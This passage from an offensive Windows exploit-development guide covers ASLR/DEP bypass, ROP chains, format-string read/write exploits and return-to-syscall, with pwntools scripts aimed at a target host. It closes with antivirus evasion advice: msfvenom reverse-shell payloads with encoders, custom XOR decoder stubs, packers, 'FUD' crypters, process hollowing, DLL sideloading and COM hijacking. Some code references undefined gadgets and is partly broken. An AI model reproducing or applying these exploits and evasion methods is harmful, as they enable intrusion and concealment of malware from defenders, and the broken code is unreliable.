0x00000040. # rop_chain += pack("<L", ADD_EAX_ECX_RET) # 4. Push EAX onto the stack where the argument is expected. # This requires a gadget like `push eax ; ret` if ESP is aligned, or `mov [esp+X], eax ; ret`. print(f"Payload length: {len(payload)} bytes") # ... (sending logic and listener) ...
D. ASLR Bypass (When DEP is also present)#
ASLR (Address Space Layout Randomization) randomizes the base addresses of modules in memory. If DEP is also enabled, ROP becomes much harder because you don’t know the fixed addresses of your gadgets.
Techniques:#
Partial ASLR Bypass (Information Disclosure / Memory Leak):
Goal: Leak a memory address from a module that has ASLR enabled to calculate its current base address. If you know one address in a module, and you know its static offset from the module’s base (which you can find by loading the module in x64dbg/IDA), you can find the base.
Method:
- Format String Vulnerabilities (
%p
,%x
): As discussed, these can directly leak stack addresses, which might contain pointers to ASLR’d modules. - Uninitialized Memory Read: Some vulnerabilities expose uninitialized memory that might contain leftover pointers.
- ROP to leak: A small initial ROP chain could be used to call functions like
GetModuleHandleA
orGetProcAddress
and then write their return values to a location you can read (e.g., a network response or a file). This requires finding the offsets to these functions within a module that doesn’t have ASLR or guessing common ones.
- Format String Vulnerabilities (
x64dbg Analysis (for finding offsets):
- Load the ASLR’d module in x64dbg (File -> Open, then wait for it to load, then use Modules tab).
- Right-click on the module -> Go to -> IAT (Import Address Table). You might find some API calls to system DLLs like
kernel32.dll
orntdll.dll
. - Right-click on a function entry in the IAT (e.g.,
KERNEL32.dll!CreateFileA
) -> Follow in Disassembler. Note the address. - In the command bar, calculate the offset from the base:
0x<function_address> - 0x<module_base_address>
. This offset is static even if the base address changes due to ASLR.
# Example: if you leak 0x7FFD12345678 from ntdll.dll # In x64dbg, load ntdll.dll. Find some function like LdrInitializeThunk. # Assume LdrInitializeThunk is at ntdll_base + 0x345678 (static offset). # Leaked_Address - Known_Offset = Base_Address # 0x7FFD12345678 - 0x345678 = 0x7FFD12000000 (Current ntdll.dll base)
Once you know one ASLR’d module’s base, you can typically find the base addresses of other related system modules because Windows loads them with a consistent offset relative to each other (e.g., if you know
ntdll.dll
’s base, you can often deducekernel32.dll
’s base by checking its usual relative offset in a clean VM).
No ASLR Modules (The Easiest Bypass):
- Action: In x64dbg’s Modules Tab (
M
key), explicitly look for modules whereASLR: No
. These are your golden tickets for ROP gadgets because their addresses are constant across reboots. - Prioritize: If you find such a module, focus your ROP gadget search within it.
- Action: In x64dbg’s Modules Tab (
Return-to-libc (or Return-to-any-known-module):
- Goal: If direct
EIP
control with aJMP ESP
isn’t possible, or if only specific, predictable system libraries are available (e.g.,kernel32.dll
on older systems, or if a specific program loads them in a non-randomized way), you can directly call functions from those libraries. - Method:
- Information Leak: You must be able to leak an address from
kernel32.dll
(or your target stable module) to defeat ASLR for that specific module. - Find Function Addresses: Once the base address is known, calculate the address of desired functions (e.g.,
LoadLibraryA
,CreateProcessA
) by adding their known offsets. - ROP Chain: Craft a ROP chain that:
- Sets up arguments for the target API call (e.g.,
CreateProcessA
). - Pivots the stack pointer (
ESP
) to these arguments. - Calls the API function.
- Redirects execution after the API call (e.g., to your shellcode, if the API made it executable, or another ROP chain).
- Sets up arguments for the target API call (e.g.,
- Information Leak: You must be able to leak an address from
- Goal: If direct
E. Format String Attacks#
Format string vulnerabilities occur when user input is directly used as the format string argument to functions like printf()
, sprintf()
, etc. They are extremely powerful for leaking memory and writing arbitrary data.
Specifiers & Vulnerabilities:#
Specifier | Description | Potential Vulnerability |
---|---|---|
%s | String (reads from address on stack/memory) | Can read arbitrary memory |
%x | Unsigned hexadecimal integer | Can leak stack values/addresses |
%p | Pointer (address in hexadecimal) | Can leak stack values/addresses |
%n | Number of characters written so far (writes to address on stack/memory) | CRITICAL: Can write to arbitrary memory |
%hn | Writes the number of characters written so far to a short (2-byte) address. | Precise arbitrary write for 2 bytes. |
%hhn | Writes the number of characters written so far to a byte (1-byte) address. | Most granular. |
Workflow:#
Find the Vulnerability:
- Action: Identify an input field where user input is treated as a format string. Common signs:
printf(user_input)
,sprintf(buffer, user_input)
. - Test: Send simple format string specifiers like
%x
or%p
in the input to see if values from the stack are printed.
- Action: Identify an input field where user input is treated as a format string. Common signs:
Leak Stack Data (
%x
,%p
):- Goal: Understand the stack layout and find the “offset” to your controlled input on the stack. This offset tells you which argument number (
%N$x
) corresponds to your input or other interesting data. - Action: Send input like
AAAA %x %x %x %x %x %x %x %x %x %x %x
. - Analyze Output: Look for your
AAAA
(0x41414141) in the hexadecimal output. IfAAAA
appears, for example, as the 6th%x
value, then your controlled string is at the6th
stack argument (referred to as%6$x
or%6$p
). This is your “offset.” %p
is generally safer as it always prints a full pointer and might not require guessing data size.
from pwn import * context.update(arch='i386', os='windows') ip = '192.168.1.100' port = 9999 # Example: leaking stack values to find offset # Try with a fixed number of %p's first, or a large number to dump a lot of the stack. payload_leak_offset = b"AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p" try: s = remote(ip, port) s.send(payload_leak_offset + b"\n") # Or appropriate terminator response = s.recvall().decode(errors='ignore') print(response) s.close() # In the response, look for 0x41414141. If it's the 6th pointer, your offset is 6. except Exception as e: print(f"[!] Error during leak: {e}")
- Goal: Understand the stack layout and find the “offset” to your controlled input on the stack. This offset tells you which argument number (
Read Arbitrary Memory (
%s
):- Goal: Read data from a specific memory address (e.g., a secret string, a flag from a known address).
- Strategy: Place the address you want to read from on the stack (as part of your input), and then use
%s
with the correct offset. - Action:
- Determine the
stack_offset
where your controlled data (the address to read) will appear. (Use the previous%p
leaking technique). - Construct the payload:
[address_to_read] %<stack_offset>$s
. The[address_to_read]
will be put onto the stack. When%<stack_offset>$s
is processed, it will interpret that stack value as a pointer to a string and print its content.
- Determine the
from pwn import * context.update(arch='i386', os='windows') ip = '192.168.1.100' port = 9999 # Assume we want to read from address 0xDEADBEEF (32-bit example) target_read_address = 0xDEADBEEF # Pack the address in little-endian. Use p64 for 64-bit targets. # This address will be placed on the stack by your input. addr_on_stack = p32(target_read_address) # Assume you found the offset to this address on the stack is 6 using %p. stack_offset_for_read = 6 # Payload: [address_to_read] + %<offset>$s payload_read = addr_on_stack + b"%" + str(stack_offset_for_read).encode() + b"$s" try: s = remote(ip, port) s.send(payload_read + b"\n") response = s.recvall().decode(errors='ignore') print(f"[*] Data read from 0x{target_read_address:x}: {response}") s.close() except Exception as e: print(f"[!] Error reading memory: {e}")
Write Arbitrary Memory (
%n
,%hn
,%hhn
):- Goal: Write arbitrary data to an arbitrary memory address. This is extremely powerful for changing variables, overwriting GOT/PLT entries, or even redirecting
EIP
. %n
: Writes the total number of characters written so far to aDWORD
(4-byte) address on the stack.%hn
: Writes to aWORD
(2-byte) address. Useful for granular control or avoiding null bytes.%hhn
: Writes to aBYTE
(1-byte) address. Most granular.- Strategy (using
%hn
for precise control and null byte avoidance):- Place target addresses on the stack: Put the addresses where you want to write (e.g.,
target_addr
,target_addr + 2
) into your input string first. These will be pushed onto the stack. - Calculate Byte Counts: For each 2-byte chunk (or 1-byte for
%hhn
) you want to write, determine the number of characters you need to print before the%hn
specifier to make the “bytes written so far” counter equal to your desired value.- Example: To write
0xABCD
to0x12345678
:- Write
0xCD
to0x12345678
using%hn
. - Then, write
0xAB
to0x12345678 + 2
using another%hn
. - Each subsequent write counts the cumulative characters printed. You need to calculate the difference in characters printed between writes. Use modulo
65536
for%hn
and256
for%hhn
to handle values larger than a word/byte.
- Write
- Example: To write
- Construct Format String: Use
%.<count>c
to print characters without them appearing in the output (if output is tostdout
), or just<count>c
if output doesn’t matter.
- Place target addresses on the stack: Put the addresses where you want to write (e.g.,
from pwn import * context.update(arch='i386', os='windows') ip = '192.168.1.100' port = 9999 # Goal: Write 0xDEADBEEF to address 0x12345678 target_write_address = 0x12345678 # The 4 bytes of 0xDEADBEEF (little-endian: EF BE AD DE) # We will write these two bytes at a time (0xEF, 0xBE, 0xAD, 0xDE). # Values to write as words: 0xBEEF, 0xDEAD # Since we write low byte first, it's 0xEF, then 0xBE # Then 0xAD, then 0xDE value1_word = 0xBEEF # First 2 bytes (low word) value2_word = 0xDEAD # Second 2 bytes (high word) # Determine stack offsets for the addresses. # Place addresses at the start of your payload, then figure out their offset. # Example: if your addresses are at %6$p and %7$p offset_addr1 = 6 offset_addr2 = 7 # Payload structure: [Addr1][Addr2][...][Format String] payload_addrs = b"" payload_addrs += p32(target_write_address) # Address for the first word (0xBEEF) payload_addrs += p32(target_write_address + 2) # Address for the second word (0xDEAD) # --- Calculating Byte Counts --- # Pwntools' fmtstr_payload simplifies this significantly. # For a manual step-by-step approach with %hn: # Calculate count for the first word (0xBEEF) # The initial characters printed are the addresses themselves. initial_chars = len(payload_addrs) # Calculate `count1` such that (initial_chars + count1) % 0x10000 = value1_word # So, count1 = (value1_word - initial_chars) % 0x10000 count1 = (value1_word - initial_chars) % 0x10000 if count1 < 0: # Ensure positive value count1 += 0x10000 # Calculate `count2` such that (initial_chars + count1 + count2) % 0x10000 = value2_word # So, count2 = (value2_word - (initial_chars + count1)) % 0x10000 cumulative_after_first_write = initial_chars + count1 count2 = (value2_word - cumulative_after_first_write) % 0x10000 if count2 < 0: count2 += 0x10000 # Format string components format_string_parts = [] format_string_parts.append(f"%.{count1}c%{offset_addr1}$hn".encode()) # Write first word format_string_parts.append(f"%.{count2}c%{offset_addr2}$hn".encode()) # Write second word # Combine addresses and format string final_payload = payload_addrs for part in format_string_parts: final_payload += part print(f"Format string payload length: {len(final_payload)} bytes") # --- Sending Logic (Example) --- try: s = remote(ip, port) s.send(final_payload + b"\n") # Or appropriate terminator s.recvall() # Read response if any s.close() print(f"[*] Attempted to write 0x{value1_word:x} and 0x{value2_word:x} to 0x{target_write_address:x}") except Exception as e: print(f"[!] Error during write: {e}") # --- Pwntools fmtstr_payload for simplicity --- # For more complex format string writes, Pwntools' `fmtstr_payload` function is invaluable. # from pwn import * # writes = {target_write_address: 0xDEADBEEF} # Dictionary of {address: value} # payload_pwntools = fmtstr_payload(offset_addr1, writes, write_size='short') # Use 'byte' for %hhn # print(payload_pwntools)
- Note: Format string exploitation is a deep topic. Precise byte count calculation and understanding stack alignment are critical. Start with simpler
%x
or%p
leaks before attempting%n
writes.
- Goal: Write arbitrary data to an arbitrary memory address. This is extremely powerful for changing variables, overwriting GOT/PLT entries, or even redirecting
F. Return-to-Syscall / Return-to-ntdll (Modern Windows)#
On modern Windows systems with full ASLR and DEP, VirtualAlloc
/VirtualProtect
via ROP might still be difficult due to randomized kernel32.dll
addresses. However, ntdll.dll
is often loaded at a somewhat predictable range, and its base address might be leaked. It contains low-level system calls (NT APIs) that directly interact with the kernel.
Workflow:#
ASLR Bypass for
ntdll.dll
:- Goal: Obtain the base address of
ntdll.dll
. - Method: This is usually achieved through an information leak (e.g., from a format string vulnerability, an uninitialized memory read that exposes a pointer to
ntdll.dll
, or a leaked PEB/TEB pointer that points intontdll.dll
structures). Once you have any address withinntdll.dll
, you can calculate its base address using a known offset (e.g.,leaked_address - offset_to_leaked_address_from_ntdll_base
).
- Goal: Obtain the base address of
Find NT API Function Addresses:
- Goal: Locate the addresses of desired NT API functions within
ntdll.dll
(e.g.,NtAllocateVirtualMemory
,NtProtectVirtualMemory
). - Method: Once
ntdll.dll
’s base address is known, you can calculate the addresses of its exports. These offsets are static. Use x64dbg (Modules Tab -> Right-click ntdll.dll -> Go to -> Exports) to find function offsets.
- Goal: Locate the addresses of desired NT API functions within
Construct Return-Oriented System Call (ROPC) Chain:
- Goal: Set up the stack to call an NT API function, and then potentially call another, or jump to your shellcode.
- NT API Calling Convention: NT APIs often use a fastcall-like convention where arguments are passed in registers (
RCX
,RDX
,R8
,R9
for x64) and some on the stack. The system call itself is triggered by ansyscall
orint 2e
instruction, often preceded by moving the syscall number intoEAX
. - Example (Simplified for 32-bit): Calling
NtAllocateVirtualMemory
to make memory executable.NtAllocateVirtualMemory
takes 6 arguments.- ROP chain would involve:
- Pop
NtAllocateVirtualMemory
address intoEAX
. - Pop syscall arguments into registers (
RCX
,RDX
, etc., for x64) or push onto stack. - Pop the syscall number into
EAX
. - Find
int 2e
orsyscall
gadget inntdll.dll
or a stable module. - Return to your shellcode.
- Pop
from pwn import * from struct import pack context.update(arch='i386', os='windows') # Or 'amd64' for 64-bit systems ip = '192.168.1.100' port = 9999 offset_to_eip = 784 # --- Leaked ntdll.dll Base Address --- # This is critical and must be obtained from an info leak. NTDLL_BASE = 0x77000000 # Example. Replace with your leaked base. # --- ntdll.dll Gadgets & API Offsets (Example for 32-bit) --- # Find these using x64dbg Exports for ntdll.dll, and rp++ for gadgets. # Offsets are relative to NTDLL_BASE. NT_ALLOCATE_VIRTUAL_MEMORY_OFFSET = 0x12345 # Example offset POP_EAX_RET_NTDLL = NTDLL_BASE + 0x67890 # Example gadget POP_EBX_RET_NTDLL = NTDLL_BASE + 0xabcde # Example gadget (for arguments) POP_ECX_RET_NTDLL = NTDLL_BASE + 0xfedcb # Example gadget POP_EDI_RET_NTDLL = NTDLL_BASE + 0x13579 # Example gadget MOV_EAX_CONST_RET_NTDLL = NTDLL_BASE + 0x24680 # mov eax, <some_const> ; ret (for syscall number) INT2E_GADGET = NTDLL_BASE + 0xdeadbe # int 2e ; ret (or syscall ; ret for x64) # The actual NtAllocateVirtualMemory address NT_ALLOCATE_VIRTUAL_MEMORY_ADDRESS = NTDLL_BASE + NT_ALLOCATE_VIRTUAL_MEMORY_OFFSET # --- ROP Chain for NtAllocateVirtualMemory --- rop_chain = b"" # Arguments for NtAllocateVirtualMemory (simplified for 32-bit, usually on stack/registers): # hProcess (handle to current process, typically 0xFFFFFFFF for pseudo handle) # lpBaseAddress (address to allocate, can be 0 for system to choose) # ZeroBits (number of high-order address bits that must be zero, often 0) # RegionSize (pointer to size of region) # AllocationType (MEM_COMMIT | MEM_RESERVE = 0x3000) # Protect (PAGE_EXECUTE_READWRITE = 0x40) # 1. Prepare Arguments for NtAllocateVirtualMemory (using pop gadgets and pushing to stack) # These will be pushed onto the stack in reverse order of arguments for the syscall stub. # The order on the stack for NtAllocateVirtualMemory (32-bit cdecl/stdcall like): # Ret_Address, hProcess, lpBaseAddress, ZeroBits, RegionSize_ptr, AllocationType, Protect # Value: Protect (0x40) rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", 0x40) # PAGE_EXECUTE_READWRITE rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Push EAX onto stack # Value: AllocationType (0x3000) rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", 0x3000) # MEM_COMMIT | MEM_RESERVE rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Push EAX onto stack # Value: RegionSize (pointer to 0x1000) # Need a writable location for the 0x1000 size. Can be in .data section or just allocate. # For CTFs, often a static writable location is provided or can be found. WRITEABLE_SIZE_LOC = NTDLL_BASE + 0xdeadbeef # Example writable location for 0x1000 rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", 0x1000) # The size value rop_chain += pack("<L", POP_EBX_RET_NTDLL) rop_chain += pack("<L", WRITEABLE_SIZE_LOC) # Where to write the size rop_chain += pack("<L", MOV_MEM_EBX_EAX_RET) # mov [ebx], eax ; ret (Write 0x1000 to WRITEABLE_SIZE_LOC) rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", WRITEABLE_SIZE_LOC) # Pointer to size rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Value: ZeroBits (0) rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", 0x0) rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Value: lpBaseAddress (pointer to address for allocation, 0 for system to choose) # Need a writable location for the returned allocated address. WRITEABLE_ALLOC_ADDR_LOC = NTDLL_BASE + 0xfeedface # Example writable location for allocated address rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", WRITEABLE_ALLOC_ADDR_LOC) # Pointer to return allocated address rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Value: hProcess (0xFFFFFFFF for pseudo handle) rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", 0xFFFFFFFF) rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # Value: Return Address after syscall (will jump to shellcode) SHELLCODE_FINAL_LANDING_ADDR = WRITEABLE_ALLOC_ADDR_LOC # After allocation, jump here. rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", SHELLCODE_FINAL_LANDING_ADDR) # This will be the return address for the syscall. rop_chain += pack("<L", PUSH_EAX_RET_GADGET) # 2. Call the Syscall (NtAllocateVirtualMemory is syscall 0x18 for 32-bit Windows 7) # Find the syscall number for NtAllocateVirtualMemory (e.g., from syscall tables online). SYSCALL_NUMBER_ALLOC = 0x18 # Example syscall number for NtAllocateVirtualMemory rop_chain += pack("<L", POP_EAX_RET_NTDLL) rop_chain += pack("<L", SYSCALL_NUMBER_ALLOC) # Move syscall number into EAX rop_chain += pack("<L", INT2E_GADGET) # Execute `int 2e` or `syscall` instruction # After the syscall, execution returns to SHELLCODE_FINAL_LANDING_ADDR. # At this point, the memory at WRITEABLE_ALLOC_ADDR_LOC is executable. # Your shellcode can now be written there and jumped to. # --- Placing the Shellcode --- # The actual shellcode will be placed in your buffer where it will be written to WRITEABLE_ALLOC_ADDR_LOC. # You might need another ROP chain after the syscall to `WriteProcessMemory` your actual shellcode # into the newly allocated executable memory. Or, if the target memory is naturally writable, # simply place your shellcode after the initial ROP chain that executes the syscall. final_payload = b"A" * offset_to_eip final_payload += rop_chain # If using WriteProcessMemory, place its arguments here after the NtAllocateVirtualMemory ROP. # Then place the actual shellcode at the end of the buffer to be written by WPM. final_payload += b"\x90" * 32 # NOP sled if landing directly after syscall final_payload += shellcode # Your msfvenom shellcode print(f"Payload length: {len(final_payload)} bytes") # ... (sending logic and listener) ...
- Complexity: Return-to-syscall is much more complex due to precise register control, syscall numbers (which vary by OS version), and calling conventions. This is an advanced topic for beginners.
G. Partial EIP Overwrites#
When an overflow limits the number of bytes you can write to EIP
(e.g., null byte truncation, or only a few bytes are vulnerable), you can sometimes overwrite only a portion of EIP
to redirect execution to a desired location.
Workflow:#
Identify Vulnerability:
- Action: Find an overflow where
EIP
is overwritten, but some bytes ofEIP
(often the higher-order bytes, or\x00
if it’s a bad char) cannot be controlled. - x64dbg Analysis: Crash the program. If
EIP
becomes0x00414141
instead of0x41414141
when\x00
is a bad char, you might have a partial overwrite.
- Action: Find an overflow where
Find a Suitable Target Address:
- Goal: Find an address in a non-ASLR module that starts with the fixed (uncontrolled) bytes of
EIP
and ends with bytes you can control. - Example: If
EIP
gets overwritten as0x00XXXXXX
(where0x00
is fixed due to null byte truncation or fixed base address of module), you need to find an instruction likeJMP ESP
or aPOP POP RET
gadget whose address starts with0x00
. - x64dbg/rp++: Search for gadgets or instructions (
JMP ESP
,CALL REG
,POP REG; RET
) that match the fixed upper bytes ofEIP
.
- Goal: Find an address in a non-ASLR module that starts with the fixed (uncontrolled) bytes of
Craft Partial Payload:
- Action: Overwrite only the controllable bytes of
EIP
with the desired ending bytes of your target address.
from pwn import * from struct import pack context.update(arch='i386', os='windows') ip = '192.168.1.100' port = 9999 offset_to_eip = 784 # Example offset to EIP # Scenario: EIP is 0x00XXXXXX (where 0x00 is fixed/truncated). # Target JMP ESP address in a non-ASLR module is 0x00451234. # We can only overwrite the last 3 bytes (0x451234), or maybe 2 bytes if more restrictive. # If we can overwrite 3 bytes: 0x451234 jmp_esp_partial_address = pack("<L", 0x451234) # Pad with null byte (0x00) if needed. # Or just the last three bytes: b"\x34\x12\x45" (if target always fills leading zeros) # Payload: A's, then the partial EIP overwrite payload = b"A" * offset_to_eip payload += jmp_esp_partial_address # Ensure this aligns with EIP's controllable bytes payload += b"\x90" * 32 # NOP sled payload += shellcode # Your shellcode print(f"Payload length: {len(payload)} bytes") # ... (sending logic and listener) ...
- Note: This technique is often combined with other memory layout knowledge from the target, as the exact bytes that can be overwritten need to be precisely controlled.
- Action: Overwrite only the controllable bytes of
AV Evasion Techniques#
A. Shellcode Encoding/Obfuscation#
Goal: Alter the shellcode’s bytes to bypass static signatures, while still allowing it to execute correctly in memory.
Method:
msfvenom
Encoders (Basic):- Action: Use
msfvenom
with built-in encoders. These add a small decoder stub to your shellcode, which XORs, adds, or otherwise transforms the actual payload during runtime.
# Example with shikata_ga_nai encoder and 5 iterations # This is a polymorphic encoder, meaning each generation is slightly different. msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=... -f c -e x86/shikata_ga_nai -i 5 -b "\x00\x0a\x0d" # Example with alpha_mixed encoder (good for ASCII-only buffers) # Often larger shellcode, but might bypass filters. msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=... -f c -e x86/alpha_mixed -b "\x00\x0a\x0d\x20"
- Limitation: Common
msfvenom
encoders are often fingerprinted by AVs. They are good for learning but less effective against modern, well-updated AVs.
- Action: Use
Custom Encoding (More Effective):
Goal: Create a unique encoding scheme that AVs won’t recognize.
Method:
Encoder (Python Script): Write a Python script that takes your raw
msfvenom
shellcode and applies a custom transformation (e.g., XOR with a fixed key, ADD/SUB operations, simple byte substitution, or a combination).# custom_encoder.py def xor_encode(shellcode_bytes, key_byte): encoded_bytes = bytearray() for byte in shellcode_bytes: encoded_bytes.append(byte ^ key_byte) return bytes(encoded_bytes) # Example usage: # raw_shellcode = b"\xfc\xe8\x82..." # Your msfvenom raw payload # xor_key = 0xAA # encoded_shellcode = xor_encode(raw_shellcode, xor_key) # print(encoded_shellcode)
Decoder (Assembly Stub): Write a small assembly stub that reverses your custom encoding. This stub will be very small and typically placed right before your encoded shellcode in the buffer.
; custom_decoder.asm (for 32-bit XOR decoder) ; Assume EBX points to the start of encoded shellcode ; Assume EAX contains the XOR key start: mov ecx, [ebx-4] ; Get shellcode length (if stored before shellcode) ; If length is fixed, hardcode it: mov ecx, 0x200 decode_loop: xor byte ptr [ebx], al ; XOR current byte with key in AL (low byte of EAX) inc ebx ; Move to next byte loop decode_loop ; Decrement ECX, loop if not zero jmp ebx ; Jump to decoded shellcode
- You’ll need to assemble this
custom_decoder.asm
into raw opcodes (e.g., usingnasm
).
- You’ll need to assemble this
Integration:
- In your Pwntools exploit, encode your
msfvenom
shellcode using yourcustom_encoder.py
. - Place the
custom_decoder
opcodes immediately after yourNOP
sled (or directEIP
redirect). - Place the
encoded_shellcode
immediately after thecustom_decoder
. - Ensure your
JMP ESP
points to thecustom_decoder
’s address.
- In your Pwntools exploit, encode your
Polymorphic Engines (Advanced):
- Goal: Generate slightly different versions of the same shellcode or decoder stub each time, making it harder for static signature-based detection.
- Method: This involves dynamically generating the assembly for the decoder at runtime (in your Python script), or using existing polymorphic engines that can morph the code.
B. Obfuscating PE Files (for standalone payload delivery)#
If you’re delivering a standalone executable payload (not just shellcode injected into memory):
Packers:
Goal: Compress and/or encrypt your executable, making its contents unreadable to AVs until runtime.
Tool: UPX (
https://upx.github.io/
) is a popular open-source packer.# On Kali, if you have a malicious Windows executable (e.g., a Meterpreter exe) upx -o payload_packed.exe payload_original.exe
Limitation: UPX is widely known, and its decompression stub is often signatured by AVs.
Evasion Tip: Sometimes, modifying the UPX stub (e.g., changing a few bytes manually, or using a “stub generator”) can bypass simple UPX signatures.
Crypters:
- Goal: More advanced encryption and obfuscation for executables, designed specifically for AV evasion. They wrap your payload in a custom stub that performs complex decryption and execution in memory.
- Method: These are typically commercial tools or private projects. They use techniques like anti-analysis, anti-debugging, and polymorphic decryption to achieve “FUD” (Fully Undetectable) status for a period.
- Evasion Tip: Use reputable (often private/paid) crypters, and regularly test your payloads against various AVs. The FUD status is temporary.
Compile with Different Languages:
- Goal: Generate different binary structures that AVs might not have signatures for.
- Method: Instead of compiling your C/C++ payload with Visual Studio, try:
- MinGW/GCC: Compiling with GCC on Linux for Windows targets can produce different binary characteristics.
- Less Common Languages: Rust, Nim, Go, Dlang – compiling malicious payloads in these languages can sometimes bypass AVs that are heavily focused on C/C++ or .NET binaries.
Reflective DLL Injection (for DLL payloads):
- Goal: Inject a malicious DLL directly into a process’s memory without touching the disk, reducing forensic artifacts and AV detection.
- Method: You create a loader (often a small executable) that reads your malicious DLL into its own memory, then finds a way to inject it into the target process’s memory space and execute it. The DLL never lives on disk. Tools like Metasploit’s
exploit/windows/local/payload_inject
and frameworks likeCovenant
utilize this.
C. Leveraging Legitimate Processes#
- Goal: Hide malicious activity by making it appear as if it’s originating from a trusted, legitimate process.
- Method:
- Process Hollowing/RunPE:
- Goal: Execute your malicious code under the guise of a legitimate process.
- Action:
- Create a legitimate executable (e.g.,
notepad.exe
) in a suspended state. - Unmap (hollow out) its original code section from memory.
- Write your malicious shellcode or payload into the newly freed memory space.
- Set the main thread’s context (e.g.,
EIP
/RIP
) to point to your injected code. - Resume the suspended process.
- Create a legitimate executable (e.g.,
- x64dbg Analysis: If you attach to a hollowed process, you’ll see a legitimate process name, but the code executing will be your payload.
- DLL Sideloading:
- Goal: Force a legitimate application to load your malicious DLL instead of a benign one.
- Method: Many legitimate applications are configured to search for DLLs in specific paths (e.g., the application’s directory, then system paths). If you can place your malicious DLL (named exactly like a DLL the app expects) in a higher-priority search path (often the same directory as the executable), the legitimate app will load yours instead.
- Action:
- Identify a vulnerable application that uses DLL sideloading.
- Find a DLL it attempts to load (e.g., using Process Monitor).
- Create a malicious DLL with the exact same name and export the expected functions (these can just be stub functions that call your malicious payload).
- Place your malicious DLL in the application’s directory.
- Run the legitimate application. Your DLL will be loaded.
- COM Hijacking:
- Goal: Abuse the Component Object Model (COM) registration mechanism to execute your code when a legitimate application tries to create a COM object.
- Method: COM objects are registered in the Windows Registry (
HKCU
orHKLM
). By creating specific registry keys (e.g.,InprocServer32
for a COM DLL) pointing to your malicious DLL, you can hijack the loading process. - Action:
- Identify a COM object that a legitimate process uses.
- Identify a COM CLSID that can be hijacked (either not present, or present only in
HKLM
whereHKCU
takes precedence). - Create/modify registry keys under
HKCU\Software\Classes\CLSID\{YOUR-CLSID}\InprocServer32
to point to your malicious DLL. - When the legitimate application attempts to instantiate that COM object, your malicious DLL will be loaded.
- Process Hollowing/RunPE:
D. Memory-Only Payloads#
- Goal: Ensure your malicious code never touches the disk in its executable form, significantly reducing detection by file-based AV scanners.
- Method:
- Reflective DLL Injection (Revisited):
- Goal: As described in 5.B, a common technique for getting DLLs into memory without writing them to disk.
- Action: Use a reflective DLL injector (many open-source ones exist, or framework features). The injector reads the DLL as raw bytes, finds its
LoadLibrary
andGetProcAddress
functions in memory, and then manually maps and resolves the DLL within the target process.
- In-Memory Shellcode Execution (Revisited):
- Goal: Directly inject and execute raw shellcode into the memory of an existing process.
- Action: This is often achieved by calling Windows API functions:
OpenProcess
(or useGetCurrentProcess
pseudo-handle) to get a handle to the target process.VirtualAllocEx
to allocate new, executable (PAGE_EXECUTE_READWRITE
) memory within the target process.WriteProcessMemory
to copy your raw shellcode into the newly allocated memory.CreateRemoteThread
orNtQueueApcThread
(for advanced techniques) to create a new thread in the target process that starts execution at your shellcode’s address.
- x64dbg Analysis: You would see your shellcode running in a newly allocated memory region within the target process, and a new thread might appear in the Threads Tab.
- Reflective DLL Injection (Revisited):